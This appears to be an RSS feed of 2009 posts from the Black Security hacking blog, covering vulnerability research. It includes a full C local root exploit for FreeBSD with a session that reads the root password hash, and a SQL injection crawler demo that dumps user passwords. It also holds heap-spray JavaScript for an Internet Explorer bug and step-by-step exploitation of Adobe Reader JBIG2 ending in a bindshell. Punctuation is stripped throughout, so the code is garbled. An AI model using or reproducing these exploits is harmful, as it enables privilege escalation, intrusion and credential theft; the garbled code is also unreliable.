<?xml version="1.0" encoding="utf-8"?>
<rss version="0.92">
<channel>
<title>SecuObs.com</title>
<link>http://www.secuobs.com</link>
<description>Observatoire de la securite Internet</description>
<language>fr</language>
<webMaster>webmaster@secuobs.com</webMaster>
 <item><title>Announcing the re-opening of bl4ck's security blog</title><description>2009-03-30 00:26:28 - Black Security : Hey guys,Ahoy from the islands We've opened up our blog to the public againand have even consolidated each users blog into a single blog that wehope will be much more activeKeep it bl4ck-redsandIMAGE</description><link>http://www.secuobs.com/revue/news/76644.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/76644.shtml</guid></item>
<item><title>FreeBSD Local Root Privilege Escalation Vulnerability Hits Like a Ton of Bricks</title><description>Secuobs.com : 2009-03-30 00:26:28 - Black Security -    We've been following the recent FreeBSD Security Advisoryhttp://securityfreebsdorg/advisories/FreeBSD-SA-08:13protoswasc This vulnerability allows us to write data within kernel memoryitself Nice work to Don and the original discoverer, Christer Oberg-----BEGIN PGP SIGNED MESSAGE-----Hash: SHA1uname -rsFreeBSD 70-RELEASEiduid=1001donb gid=1001donb groups=1001donb,0wheelgrep ^root /etc/masterpasswdgrep: /etc/masterpasswd: Permission deniednm /boot/kernel/kernel | grep allprocc0bf26b8 B allprocc0bf2670 B allproc_lockcc -o x xc/x 0xc0bf26b8euid=0iduid=1001donb gid=1001donb euid=0root groups=1001donb,0wheelgrep ^root /etc/masterpasswdroot:$1$fuS6o3Qy$iFlUEpD9Y3ph7rOzMU/br1:0:0::0:0:Charlieet:/root:/bin/cshHappy holidays, allD-----BEGIN PGP SIGNATURE-----Version: GnuPG v209 GNU/LinuxiEYEARECAAYFAklUla4ACgkQttfe3HwtctN/fgCeJDmmpOK8bn1dnssxOkTZXdUgidUAmwdyoMZnoEfnrR14TQlRDli9mv+j=Pixh-----END PGP SIGNATURE-----/** This is a quick and very dirty exploit for the FreeBSD protosw vulnerability* defined here: * http://securityfreebsdorg/advisories/FreeBSD-SA-08:13protoswasc** This will overwrite your credential structure in the kernel This will * affect more than just the exploit's process, which is why this doesn't* spawn a shell When the exploit has finished, your login shell should* have euid=0 ** Enjoy, and happy holidays*  - Don "north" Bailey donbailey@gmailcom 12/25/2008*/#include #include #include #include #include #include #include #include #include #include #include #include #define PAGES 1#define PATTERN1 0x8f8f8f8f#define PATTERN2 0x6e6e6e6etypedef unsigned long ulong;typedef unsigned char uchar;intxvoid{struct proc * p = struct proc * PATTERN1;uint * i;while1{ifp-p_pid == PATTERN2{i = uint * p-p_ucred;*++i = 0;break;}p = p-p_listle_next;}return 1;}intmainint argc, char * argv{ulong addr;uchar * c;uchar * d;uint * i;void * v;int pid;int s;ifargc = 2{fprintfstderr, "usage: /x ";return 1;}addr = strtoulargv1, 0, 0;v = mmapNULL,PAGES*PAGE_SIZE,PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANON|MAP_FIXED, -1, 0;ifv == MAP_FAILED{perror"mmap";return 0;}c = v;d = uchar * x;while1{*c = *d;if*d == 0xc3{break;}d++;c++;}*c++ = 0xc3;c = v;while1{if*long * c == PATTERN1{*c + 0 = addr   0;*c + 1 = addr   8;*c + 2 = addr  16;*c + 3 = addr  24;break;}c++;}pid = getpid;while1{if*long * c == PATTERN2{*c + 0 = pid   0;*c + 1 = pid   8;*c + 2 = pid  16;*c + 3 = pid  24;break;}c++;}s = socketPF_NETGRAPH, SOCK_DGRAM, NG_DATA;ifs < 0{perror"socket";return 1;}shutdowns, SHUT_RDWR;return 0;}IMAGE</description><link>http://www.secuobs.com/revue/news/76643.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/76643.shtml</guid></item>
<item><title>back on a mission and ready to ride</title><description>Secuobs.com : 2009-03-30 00:26:28 - Black Security - So we have decided to bring the blogs back for a bit to let some of ourmembers post to There's been alot of activity over the since theholidays have ended Were currently looking into alternative heapspraying techniques that don't utilize java, in the process ofresearching several MS vulns namely ms09-001 atm, and have beendoing a bit of reversing to make some security software play niceMore post coming soon - xortIMAGE</description><link>http://www.secuobs.com/revue/news/76642.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/76642.shtml</guid></item>
<item><title>A race for MS09 001  get ready for inet crime</title><description>Secuobs.com : 2009-03-30 00:26:28 - Black Security - An update on our analysis of MS09-001's patch provided in KB958687 Thepatch fixes a vulnerability in Microsoft's SMB handling code Anunauthenticated attacker can connect to a host on a local LAN over SMBor utilize DCERPC/SMB over the internet in order to access avulnerable hostWe have spent the past day looking into what exactly was patched andhave determined that the patch fixes 5 functions in srvsys that cantheoretically lead to remote execution of code This has yet to beconfirmed - nor debunkedThe functions patched in srvsys are:SrvSmbWriteMpxSrvIpxServerDatagramHandlerCommonSrvSmbWriteRawSrvSmbWriteAndXSrvSmbOpenOur group has already produced functioning code that can in parttrigger these functions in the manner that is needed to trigger the3 vulnerabilities discussed in the zeroday initiative's advisoriesTrans/Trans2 here we come :DThe funny thing is, no-one else seems to have posted any informationon this or is really getting close to exploiting this in the publicdomain Whats the deal Well - blacksec will have to keep ya' updatedwith the juicy details while the girls catch up eh-xort/bannedit-IMAGE</description><link>http://www.secuobs.com/revue/news/76641.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/76641.shtml</guid></item>
<item><title>MS09-001 followup - Just DoS bugs</title><description>Secuobs.com : 2009-03-30 00:26:28 - Black Security - It appears that the 3 vulnerabilities convered in MS09-001 due not leadto code execution We spent the last few days really tearing intothese and could not produce any conditions that were controllable thatwould lead to code execution The ANDX bug had already been determinedto be simply a DOS but it was thought that the NTTRANS/TRANS2 bugscould lead to code execution Opon further review, we found that inthe case of both bugs, a buffer underflow could be caused in which abuffer would be allocated with not enough memory which would later bezeroed out later in the SMB processing functions of transactionrequests It was here that the now corrupted system heap pool wouldcrash in srvsys during a pool-bugcheck The crashs can actually betriggered a number of ways - leading to a similiar crash - just withdifferent origins Were still looking into possible avenues oftaversing the MPX functionality but as for now code execution doesnot look possibleThink the group will try to spend some time this week looking at otherpossible vulnerable functionality in SMB Seems like there is alot ofroom for error-xortIMAGE</description><link>http://www.secuobs.com/revue/news/76640.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/76640.shtml</guid></item>
<item><title>MsSQL SQL Injection Data Crawling - Tool Updated</title><description>Secuobs.com : 2009-03-30 00:26:28 - Black Security - We've recently updated the functionality of the sqlidiscoverpl tool usedfor enumerating sql databases, tables, columns and data fields We'veincluded support for adding a custom cookies to your requesthttp://blacksecurityorg/tools/42/sqlidiscover___MsSQL_SQL_Injection_Data_Crawler/124htmlsqli_discover_tables v02 26Jan2009 kaneda 'n phildo, upgraded byredsandusage: sqlidiscover -G|-P -v -b -phostname:port-cCookieName:CookieValue -avarname1=value1,,varname2=value2-ivarname URL-G - use GET method-P - use POST method-a - additional variables ie -aaction=create,cid=12-b - bypass SQL, OS version and current user check-i - variable to screw with ie -itxtPassword-v - verboseURL - http://vuln/fileasp-p - use http/https proxy, format hostname:port ie-pmyproxycom:8080-c - use browser cookie, format name:value ie-cASPSESSIONID:LCACPKILKFNHere's an actual example:jinxy ~ # perl sqlidiscoverpl -cASPSESSIONIDSSSTRCDB:KCMLJILCJGPBJELANCFHCNGL -v -G -iProductIDhttp://wwwexamplecom/catalog/viewaspsqli_discover_tables v02 26Jan2009 kaneda 'n phildo, upgraded byredsand* HTTP cookie set to ASPSESSIONIDSSSTRCDB=KCMLJILCJGPBJELANCFHCNGL* URL to process: http://wwwexamplecom/catalog/viewasp* Abusing 'ProductID'+ OS version: Windows NT 52 Build 3790: Service Pack 2+ Current user: dbounknown_dbtest helpsqliinjection interactive session helpexit / quit - leave sqlidiscover databases / discover dbs - discover all databases on systemdiscover tables - discover all tables on systemdiscover columns - discover all columns in current tableselect db/database name - change context to database nameselect table name - change context to table namefetch n,,x - fetch data from columns n, etc ie fetchusername,password------------------------------------------------------------unknown_dbtest select database demoChanging context to demotestdemotest select table UsersChanging context to demoUsersdemoUsers discover columns* Enumerating columns for table Users+ Column search: found: 0 AccountNumber+ Column search: found: 1 Address+ Column search: found: 2 Email+ Column search: found: 3 Name+ Column search: found: 4 Password+ Column search: found: 5 Phone+ Column search: found: 6 Username+ Column search finished, 6 founddemoUsers fetch Username, Password, Name+ Using columns Username, Password, Name* Retrieving information for table demoUsers+ 3 columns selected for data retrieval| Username | Password | Name| admin | demo | Demo| superadmin | master | Master AdminIMAGE</description><link>http://www.secuobs.com/revue/news/76639.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/76639.shtml</guid></item>
<item><title>time to blackout - no doubt</title><description>Secuobs.com : 2009-03-30 00:26:28 - Black Security - blacksec: Fun at bars w/ cpu'sIMAGEIMAGEIMAGE</description><link>http://www.secuobs.com/revue/news/76638.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/76638.shtml</guid></item>
<item><title>Blinded w/ VNC Viewer vulns</title><description>Secuobs.com : 2009-03-30 00:26:28 - Black Security - Well, a few things to report here in the blackbl0gs Firstly, I've spentthe past few days looking into/writing exploits for these recent VNCviewer vulns in the RFB protocol The first vulnerability affects RealVNC viewer <=412 CVE-2008-4770 This vulnerability is triggeredwhen incorrect information is passed to CMsgReader::readRect whichcan lead to an integer underflow in allocation space The remainingdata in the packet following the allocation size is then copied intothe buffer allocated on the stack leading to an SEH overwrite Thesecond vulnerability which were currently looking into accuratelyexploiting is a vulnerability in TightVNC <=139 CVE-2009-0388 Inthis vulnerability malicious data can be passed to a Tvnc subfunctionin which a null byte overwrite can be triggered via a integerover/underflow @ HeapPointer + ControllableValue Lotsa fun otherhacks going in the priv8 arenattfn, -xortIMAGE</description><link>http://www.secuobs.com/revue/news/76637.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/76637.shtml</guid></item>
<item><title>MS09-002 / CVE-2009-0075 Analysis</title><description>Secuobs.com : 2009-03-30 00:26:28 - Black Security - Alright, so we've been looking at the recent MS09-002 Memory CorruptionAdvisory released last weekwwwmicrosoftcom/technet/security/bulletin/MS09-002mspxWe have provided a quick analysis of the vulnerability:Initially, we call our global deconstructor to "prep" our memory forcorruption This method is used to clean up our allocated andpotentially lost spaces of memoryCollectGarbage;Next, we pad the memory by creating a minimum of 256 image elementswithin an array I found that anything less than 256 does not give usenough padding to leverage when our exception occurs Most exploitsare using between 512 and 1024 imagesvar a1 = new Array;for var x = 0; x < 256; x++ {a1pushdocumentcreateElement"img";}Then, we want to create a table header or table body for interactingwith and start the interactiono1=documentcreateElement"thead";o1click;var o2 = o1cloneNode;o1clearAttributes;Once again we're going to prep our memory for corruption here:o1=null; CollectGarbage;The fault is triggered when we free our memory that was allocated byour previously created table head or table body element and then beginoverwriting our created element locations, finally calling our tablefor execution o2click This results in adjacent heap corruptionleading to code executionforvar x=0;x<a1length;x++ {a1xsrc=s1;}o2click;Our exploit begins with the typical heap spraying method, providing uswith a reliable location for installing our stage-1 execution payloadOur personal exploit has been trimmed up to speed up execution timeThe shellcode can be replaced to do whatever you'd likeblacksecurityorg/cve20090075htmlgz- redsandIMAGE</description><link>http://www.secuobs.com/revue/news/76636.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/76636.shtml</guid></item>
<item><title>trojanMdropperAC In the wild</title><description>Secuobs.com : 2009-03-30 00:26:28 - Black Security - Black Security is currently searching for a copy of 'trojanMdropperAC'in the wild If you work for an antivirus company or just so happenedto have received a copy of this "virus", please e-mail a copy toredsand@redsandnetThanks-redsandIMAGE</description><link>http://www.secuobs.com/revue/news/76635.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/76635.shtml</guid></item>
<item><title>Adobe Acrobat/Reader Universal Exploit : APSB09-01 aka CVE-2009-0658</title><description>Secuobs.com : 2009-03-30 00:26:28 - Black Security - Hey gang,Been a few days since our last post, but not to worry Still lots offun stuff happening in the blacksec community Our latest post is abrief analysis of the jbig2 vulnerability recently patched by Adobe inAPSB09-01 aka CVE-2009-0658 What I thought was particularlyinteresting although not a surprising given vendors actualunderstanding of the vulnerabilities that typically affect theirsoftware was its classification: "Buffer overflow issue in versions90 and earlier of Adobe Reader and Acrobat" The actual bug stemsfrom a pointer-indexing issue when utilizing a specifically craftedJBIG2 structureBugs like this are fun, because they can often lead to multipledifferent avenues that inturn can be leveraged for execution We wereable to gain control of execution through the use of some careful heapspraying that would both create 1/2 a sprayed area of pointers thatare later loaded and used in a controlled write operation followed byanother 1/2 of your typical nopsled/shellcode heapspraying Combinethis spraying with the time used to allocate the memory being used andyou could easily overwrite low-addressed static module entry pointsTheres a little more too this, so lets dig inLets begin with the orignal crash mentioned in the snort VRT blogpostinghttp://vrt-sourcefireblogspotcom/2009/02/have-nice-weekend-pdf-lovehtmlFrom the posting:"the 5th byte into the stream which is the segment header flag bytewere to have the 6th bit set indicating a large page association size:00 00 00 01 40 00 00 33 33 33"Here, we can see the beginning of our long road to exploitation Aftermodifying the segment header flag of our JBIG2 stream, we are able toembed a controllable big endian pointer beginning at the 2nd bytefollowing the the segment header flag Using the values described inthe original advisory, we can trigger a crash at the first 0387298A -Add operation location as seen below03872979 | 8B41 1C MOV EAX,DWORD PTR DS:ECX+1C; our big endian pointer gets loaded into EAX0387297C | 85C0 TEST EAX,EAX0387297E | 0F84 AC020000 JE Acroba_103872C3003872984 | 8B4E 10 MOV ECX,DWORD PTR DS:ESI+10; The base-index register gets loaded into ECX03872987 | 8D0480 LEA EAX,DWORD PTR DS:EAX+EAX*4; EAX gets multiplied by 50387298A | 834481 EC 01 ADD DWORD PTR DS:ECX+EAX*4-14,1; ECX+ EAX*4 - the value at this location gets incrementedHere ECX varies in its exact location but, generally lands in the~02xxxxxx range If we craft some generic heap spraying code, we canallocate blocks of memory within a specified distance of this pointerSo, after adding the heap spraying code we can see a nice area ofmemory that gets allocated 0x082xxxxx-0x0fexxxxx bytes or 0x6200000to 0xDE00000 bytes away This area is located after Cooltype andbefore acaptuse in memory If we look back at the assembly from thefirst crash area we can see our pointer gets multiplied by 5 first andthen multiplied by 4 again in the following operation you'll seebelow this same logic is repeated in the second crash Applying thislogic, if we use a value such as 0x00666666, it will first bemultiplied by 5 to give us 0x01FFFFFE and then multiplied by 4 againto finally equal 0x07FFFFF8 This drops us right in the middle of ourfirst large heap sprayed area and allows us to continue on to thesecond crash location03872BC7 | 8B0CBB /MOV ECX,DWORD PTR DS:EBX+EDI*403872BCA | 8B41 1C |MOV EAX,DWORD PTR DS:ECX+1C; our big endian pointer gets loaded into EAX03872BCD | 8B56 10 |MOV EDX,DWORD PTR DS:ESI+10; EDX points to the same base we used before in ECX03872BD0 | 8D0480 |LEA EAX,DWORD PTR DS:EAX+EAX*4; EAX gets multiplied by 503872BD3 | 8D4482 EC |LEA EAX,DWORD PTR DS:EDX+EAX*4-14; the address of where we performed our last ADD at the first crashlocation gets; loaded into EAX03872BD7 | 8B50 04 |MOV EDX,DWORD PTR DS:EAX+4; HEAPSPRAY_AREA+0x4 gets loaded into EDX03872BDA | 85D2 |TEST EDX,EDX; make sure this isn't 003872BDC | 74 0A |JE SHORT Acroba_103872BE803872BDE | 8B68 10 |MOV EBP,DWORD PTR DS:EAX+10; HEAPSPRAY_AREA+0x10 gets loaded into EBX03872BE1 | 890CAA |MOV DWORD PTR DS:EDX+EBP*4,ECX; a pointer to our struct gets written to anywhere we wantHere, we crash at the second location with the values EDX and EBXequaling 0x90909090 Basically, we can overwrite any portion ofwritable memory with a pointer to our struct We accomplish this bymaking the first 100-300 of our heap spray operations of typically1000 with xyxyxyxy style alternating pointers where xis the value we want to overwrite and y is 0 used in EBX*4 Othervalues can be used here but you get the general ideaLets focus now on whats at the pointer were able to write to anywherein memoryThis is our stream from our file:stream@,H73 74 72 65 61 6D 0A 00000001 40 00 00666666 13000007 2C 00 00 09Certain bytes have been separated and put into brackets to helpvisualize their exact locations when loaded into memoryWhen the second crash occurs ECX points to the following memory data:010B60F0 01 00 00 0000 62 01 00 00 00 2F 44 00 00 75 6Db/Dum010B6100 00 00 00 00 25 32 30 61 6E 64 25 32 F4 FF FF FF%20and%2ôÿÿÿ010B6110 07 00 00 1300 00 72 75 62 D0 A2 01 0C 6B BA 00rubÐ¢kºAs you can see, we control the 2 little endian pointers at ECX andECX+0x20 and can place whatever values we wish at these locations bymanipulating the stream in our malformed pdf Our Solution was tosimply place a "CALL ECX+0x20" at the first location where we landat after overwriting a called pointer and to stick where ever wewant to land at ECX+0x20 or right after our index pointer in ourjbig2 streamSo, what to overwrite We spent a day or two looking for static areasof memory that were to be accessed after the crash that would lead toexecution In the end, we decided to take advantage of the ModuleEntry point of kernel32 located in the 0x00251xxx range Theselocations will vary based on SP/pdf you have created but after alittle math can be statically calculated00251FD8 7C800000 kernel327C80000000251FDC 7C80B63E kernel32 ;  telnet localhost 5500Microsoft Windows XP Version 512600C Copyright 1985-2001 Microsoft CorpC:Documents and SettingsAdministratorDesktopBindshell Exploit- xort et redsandIMAGE</description><link>http://www.secuobs.com/revue/news/76634.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/76634.shtml</guid></item>
<item><title>Microsoft GdiPlus EMF GpFontSetData Integer Overflow</title><description>Secuobs.com : 2009-03-30 00:26:28 - Black Security - Microsoft GdiPlusdll EMF GpFont::SetData Stack OverflowWrite up by redsand@blacksecurityorgCredits to mIKEJONES for providing the EMF CrashAn integer overflow has been found within the Microsoft Windowsgdiplusdll 0x4ED67060This vulnerability currently allows us to write 64 bytes of eitherNULL's to the stack or UNICODE characters we control, inadvertentlyoverwriting our stacks return addresses as well as the stack canaryWe’ve decided to call this the Microsoft GdiPlus EMF GpFontSetDatainteger overflowOne known vulnerable version of GdiPlusdll is:x86_MicrosoftWidnowsGdiPlus_6595b64144ccf1df_1026005581_x-ww_dfbc4fc4Below is our confirmed call stack after the stack overflow:GdiPlusGpFont::SetData+0xf6GdiPlusMetafilePlayer::AddObject+0x8fGdiPlusObjectEPR::Play+0x1aGdiPlusGdipPlayMetafileRecordCallback+0x35GdiPlusMetafilePlayer::EnumerateEmfPlusRecords+0x66GdiPlusEnumEmfWithDownLevel+0x52gdi32bInternalPlayEMF+0x6b0GdiPlusMetafilePlayer::EnumerateEmfRecords+0xd7GdiPlusGpGraphics::EnumEmfPlusDual+0x27dGdiPlusGpMetafile::EnumerateForPlayback+0x686GdiPlusGpMetafile::Play+0x26GdiPlusGpGraphics::DrawImage+0x263We decided to pull this up using a fancy version of OllyDbg and begindigging around With that said, this is what we found:You will note at address 0x4ECFFA33 MOV ESI,DWORD PTR DS:EAX+14We control the value loaded into ESI For this purpose we use a valuegreater than 0xFE000000 This integer can be located at the offset0xC8 200 bytes within the given exampleNext you will see we are able to control the value loaded into ECXFor the ESI value of 0xFFFFFFFF largest unsigned integer we load thevalue of 0x16 into our register for example: if value is 0xEEEEEEEE,our value becomes 0xDDDDDDF4 and becomes greater than 0x16 and ismarked as an invalid image4ECFFA36 LEA ECX, DWORD PTR DS:ESI+ESI+18This value is increased by 0x18 24 bytes:4ECFFA3A ADD EAX, 18Then compared with a value offset of EBP, which is located on ourstack For this purpose the value stored in ECX is 0x16:4ECFFA3D CMP DWORD PTR SS:EBP+C,ECXThis means the jmp is not taken4ECFFA40 JB gdiplus4ECFFAC9Our controlled value is compared with the hex value 0x20 324ECFFA46 CMP ESI,20And this jump will also never be taken4ECFFA49 JBE SHORT gdiplus4ECFFA4EFrom here, we begin to setup our stack for the __stdcall callingapproach to our function gdiplus4ED670604ECFFA4B PUSH 204ECFFA4D POP ESI4ECFFA4E PUSH ESI4ECFFA4F PUSH EAX4ECFFA50 LEA EAX,DWORD PTR SS:EBP-444ECFFA53 PUSH EAXThis is the function in which the stack overwrite actually occurs4ECFFA54 CALL gdiplus4ED67060Let’s step into our function gdiplus4ED67060:First we have a loop setup to go through our Unicode Font StringARIAL and copy it letter by letter to another location on thestack controlled by EDI This approach would be the natural codeexecution process however after further review, we're able todetermine we can utilize the length of the font name ARIAL andextend it to 32 total WORD bytes since this is Unicode, that's 64bytes total This will eat up our allocated memory and will halt theneed to zero out the rest of the bufferStack corruption occurs either here or below4ED67069 XOR ESI,ESI4ED6706B TEST ECX,ECX4ED6706D JBE SHORT gdiplus4ED6709C4ED6706F MOV EDX,DWORD PTR SS:EBP+C4ED67072 PUSH EDI4ED67073 MOV EDI,DWORD PTR SS:EBP+84ED67076 MOV AX,WORD PTR DS:EDX4ED67079 TEST AX,AX4ED6707C JE SHORT gdiplus4ED6708A4ED6707E MOV WORD PTR DS:EDI,AX4ED67081 INC EDI4ED67082 INC EDI4ED67083 INC EDX4ED67084 INC EDX4ED67085 INC ESI4ED67086 CMP ESI,ECX4ED67088 JB SHORT gdiplus4ED67076Once our string copy has been completed, we check to see if our widecharacter string length of our font ARIAL is less than 0x20 32characters4ED6708A CMP ESI,ECX4ED6708C JNB SHORT gdiplus4ED6709BThe length of our string ESI is subtracted into 0x20 32 to get theremainder 0x1B if using just the font name ARIAL and is left in theregister ECX4ED6708E SUB ECX,ESIHere we clear our value for eax to make it zero4ED67090 XOR EAX,EAXThen we shift the value of our remainder 0x1B 27 right one positionwhich leaves us with 0x0D 134ED67092 SHR ECX,1This is where our overflow occurs; EDI points to our stack just pastthe location where we copied our font string on the stack earlier4ED67094 REP STOS DWORD PTR ES:EDIThis is what our stack looks like at that location when we beginoverwriting it with zeros0007E344 |7C900000 �| ntdll7C9000000007E348 |7C9101C0 À‘| ntdll7C9101C00007E34C |FFFFFFFF ÿÿÿÿ0007E350 |7C9101BB »‘| RETURN to ntdll7C9101BB from ntdll7C90E8E60007E354 |4EC5221F "ÅN RETURN to gdiplus4EC5221F fromntdllRtlAllocateHeapThe rest below does not concern us as there is little we can leveragefrom this4ED67096 ADC ECX,ECX4ED67098 REP STOS WORD PTR ES:EDI4ED6709B POP EDI4ED6709C POP ESI4ED6709D POP EBP4ED6709E RETN 0COur call stack doesn't begin to be corrupted until several functionslater when our nulls come up to be pop'd into EIP from a RETN fromESPWhen we return execution back to 0x4ECFFA86, our valid returns on thestack have been used, leaving us with a corrupted stack scenarioBelow is a snapshot of our stack before the overflow occurs:0007E2B0 |003B0041 A;0007E2B4 |0007E0AC ¬à 0007E2B8 |00000000 0007E2BC |0007ED40 @í 0007E2C0 |7C90E900 é�| ntdll7C90E9000007E2C4 |7C9101C0 À‘| ntdll7C9101C00007E2C8 |FFFFFFFF ÿÿÿÿ0007E2CC |7C9101BB »‘| RETURN to ntdll7C9101BB from ntdll7C90E8E60007E2D0 |4EC5221F "ÅN RETURN to gdiplus4EC5221F fromntdllRtlAllocateHeap0007E2D4 |003B0000 ;0007E2D8 |40000060 `@0007E2DC |0000001C 0007E2E0 |0007E2F0 ðâ 0007E2E4 |4EC9DD15 ÝÉN RETURN to gdiplus4EC9DD15 fromgdiplus4EC522090007E2E8 |0000001C 0007E2EC |00000006 0007E2F0 |00009C45 Eœ0007E2F4 0007E318 ã 0007E2F8 |4EC9E783 ƒçÉN RETURN to gdiplus4EC9E783Again, but more details:0007E294 B90105D5 Õ¹0007E298 00000000 0007E29C 00000000 0007E2A0 00000000 0007E2A4 003B4108 A;0007E2A8 018E0F08 Ž0007E2AC 003B5108 Q;0007E2B0 003B0000 ;0007E2B4 0007E0AC ¬à 0007E2B8 00000000 0007E2BC 0007ED40 @í 0007E2C0 7C90E900 é�| ntdll7C90E9000007E2C4 7C9101C0 À‘| ntdll7C9101C00007E2C8 FFFFFFFF ÿÿÿÿ0007E2CC 7C9101BB »‘| RETURN to ntdll7C9101BB from ntdll7C90E8E60007E2D0 4EC5221F "ÅN RETURN to gdiplus4EC5221F fromntdllRtlAllocateHeap0007E2D4 003B0000 ;0007E2D8 40000060 `@0007E2DC 0000001C 0007E2E0 0007E2F0 ðâ 0007E2E4 4EC9DD15 ÝÉN RETURN to gdiplus4EC9DD15 from gdiplus4EC522090007E2E8 0000001C 0007E2EC 00000006 0007E2F0 000091F7 ÷‘Below is a snapshot of our stack after the overflow occurs:ESP+4  003B4108 A;ESP+8  018E0F08 ŽESP+C  003B5108 Q;ESP+10  001D0B0B ESP+14  001D0B0B ESP+18  001D0B0B ESP+1C  001D0B0B ESP+20  001D0B0B ESP+24  001D0B0B ESP+28  001D0B0B ESP+2C  001D0B0B ESP+30  001D0B0B ESP+34  001D0B0B ESP+38  001D0B0B ESP+3C  001D0B0B ESP+40  001D0B0B ESP+44  001D0B0B ESP+48  001D0B0B ESP+4C  001D0B0B ESP+50  00000000 ESP+54 /0007E318 ã ESP+58 |4EC9E783 ƒçÉN RETURN to gdiplus4EC9E783After our function has completed, an internal gdiplus function looksfor stack corruption At 0x4ECFDA78, GdiPlus sets our unhandledexception filter to zero clears it and then calls our unhandledexception filter, then immediately terminates the process This is thestandard process for handling detected stack overflowsCALL gdiplus4ECFD994 Cookie Security CheckThanks,- redsandExample EMF File can be found hereIMAGE</description><link>http://www.secuobs.com/revue/news/76633.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/76633.shtml</guid></item>
</channel>
</rss>
 
